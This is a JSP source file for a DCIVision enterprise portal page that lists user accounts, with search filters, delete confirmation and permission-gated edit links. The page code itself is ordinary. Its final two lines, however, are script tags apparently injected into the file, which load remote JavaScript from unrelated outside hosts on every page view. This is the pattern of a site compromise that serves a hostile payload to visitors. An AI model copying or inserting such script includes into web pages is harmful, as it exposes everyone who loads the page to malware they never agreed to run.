<%
/*
 * @(#)ListUserRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListUserRecord.jsp

  This is a ListUserRecord page.  It shows the active users' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.69.2.14 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUserRecordForm" scope="request" class="com.dcivision.user.web.ListUserRecordForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "userRecordList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.full_name", "FULL_NAME"},
                            {"user.columnheader.login_name", "LOGIN_NAME"},
                            {"user.columnheader.user_group", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.user_role", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.email", "EMAIL"},
                            {"user.columnheader.status", "STATUS"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"user.label.full_name", "FULL_NAME"},
                            {"user.label.first_name", "FIRST_NAME"},
                            {"user.label.last_name", "LAST_NAME"},
                            {"user.label.email", "EMAIL"}
                          };
  String[][] STATUS_MAP  = { {"common.options.select_menu.all",""},
                             {"user.label.status_A", "A"},
                             {"user.label.status_I", "I"},
                             {"user.label.status_X", "X"}};

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   List listRole = (List) request.getAttribute(ListUserRecordAction.VAR_USER_ROLE_LIST);
   List listGroup = (List) request.getAttribute(ListUserRecordAction.VAR_USER_GROUP_LIST);
%>

<script language="javascript">
<!--

function changeStatus(){
  document.listUserRecordForm.submit();
  return(false);
}

function confirmDelThenSubmit(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  var hasChecked = false;

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert(MSG_NO_RECORD_SELECTED);
    return(false);
  }

  if (!confirm(MSG_CONFIRM_DELETE_RECORDS)) {
    return(false);
  }
  if (confirm("<bean:message key='common.message.confirm_delete_related_staff'/>")) {
    frm.deleteStaff.value = "true";
  }else {
    frm.deleteStaff.value = "false";
  }
  frm.opMode.value = OP_MODE_LIST_DELETE;
  frm.navMode.value = "";
  return OpSubmit(frm);
}

function listUserRecordReset(frm) {
 if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.userRoleID.selectedIndex=0;
  frm.userGroupID.selectedIndex=0;
  frm.status.selectedIndex = 1;

  return(OpListReset(frm));
}

-->
</script>
<!-- Form Section Begin -->
<html:form action="user/ListUserRecord" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<!-- Delete Staff Flag -->
<html:hidden property="deleteStaff"/>

<layout:listBar>
    <div class="button">
      <html:permissionButton label="common.label.new" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" link="MaintUserRecord.do"/>
      <html:permissionButton label="common.label.delete" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" onClick="return confirmDelThenSubmit(listUserRecordForm);"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>

  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
        <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
     </td>
     <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td class="filterPanelItem" nowrap>
      <bean:message key='user.columnheader.user_group'/>:
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property="userGroupID" onkeypress="onKeyPressHandler(event);">
        <html:options dbListName='userPublicGroupList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <bean:message key='user.columnheader.user_role'/>:
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property="userRoleID" onkeypress="onKeyPressHandler(event);">
        <html:options dbListName='userRoleList'/>
      </html:select>
    </td>
  </tr>
  <tr>
   <td class="filterPanelItem" nowrap>
   <bean:message key='user.columnheader.status'/>:
   </td>
   <td class="filterPanelItem" nowrap>
   <html:select property="status" onkeypress="onKeyPressHandler(event);">
        <html:options stringArray='<%=STATUS_MAP%>' hasSelect='false'  />
    </html:select>
   </td>
   <td>&nbsp;</td>
   <td>&nbsp;</td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listUserRecordForm, '${listUserRecordForm.sortAttribute}', '${listUserRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return listUserRecordReset()"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
 <table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listUserRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserRecordForm.getSortAttribute()%>" sortOrder="<%=listUserRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="userRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userRecord).getID()%>);">
    <td valign="top" align="center">
    <%if (((AbstractBaseObject)userRecord).getID().intValue()>0) {%>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='userRecord' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    <%} else {%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    <%}%>
    </td>
    <td valign="top" align="center">
      <logic:permission right='E'>
      <a href="MaintUserRecord.do?navMode=E&ID=<bean:write name='userRecord' property='ID'/>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>
    </td>
    <td valign="top" align="center">
      <logic:permission right='C'>
      <a href="MaintUserRecord.do?navMode=C&ID=<bean:write name='userRecord' property='ID'/>"><html:img src='IconCopy.gif' align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td valign="top" nowrap>
      <a href="MaintUserRecord.do?navMode=V&ID=<bean:write name='userRecord' property='ID'/>"><html:summarizeContent key="<%=((UserRecord)userRecord).getFullName()%>" limitLength="10"/></a>
      <a href='' onmouseover="return getPopupInfo('<bean:message key="user.label.access_right_viewer"/>')" onmouseout="return nd()" onclick='return OpenCenteredPopup("ViewUserFunctionAccess.do?ID=<bean:write name='userRecord' property='ID'/>", "DCIVisionUserFunctionList", 480, 500, "scrollbars=yes")'><html:img src='IconAccessViewer.gif'  align='absmiddle'/></a>
    </td>
    <td valign="top" nowrap><bean:write name='userRecord' property='loginName'/></td>
    <td valign="top"><%
      int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
      request.setAttribute("userGroupList", (List)listGroup.get(rowCount));%>
      <logic:iterate id="userGroup" name="userGroupList" scope="request">
        <nobr><html:img src='IconGroup.gif'  align='absmiddle'/><bean:write name='userGroup' property='groupName'/></nobr><br>
      </logic:iterate>
    </td>
    <td valign="top"><%request.setAttribute("userRoleList", (List)listRole.get(rowCount));%>
      <logic:iterate id="userRole" name="userRoleList" scope="request">
        <nobr><html:img src='IconRole.gif'  align='absmiddle'/><bean:write name='userRole' property='roleName'/></nobr><br>
      </logic:iterate>
    </td>
    <td valign="top"><% if (!Utility.isEmpty(((UserRecord)userRecord).getEmail())) { %><a href="mailto:<bean:write name='userRecord' property='email'/>"><% } %>
        <bean:write name='userRecord' property='email'/>
        <% if (!Utility.isEmpty(((UserRecord)userRecord).getEmail())) { %></a><% } %>
    </td>
    <td valign="top"><font color='<%=GlobalConstant.STATUS_ACTIVE.equals(((UserRecord)userRecord).getStatus())?"#0000FF":"#FF0000"%>'><bean:message key='<%="user.label.status_" + ((UserRecord)userRecord).getStatus()%>'/></font></td>
    <td valign="top" class="bodyVerySmall" nowrap><bean:write name='userRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td valign="top" class="bodyVerySmall"><html:summarizeContent key="<%=((UserRecord)userRecord).getUpdaterName()%>" limitLength="10"/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listUserRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>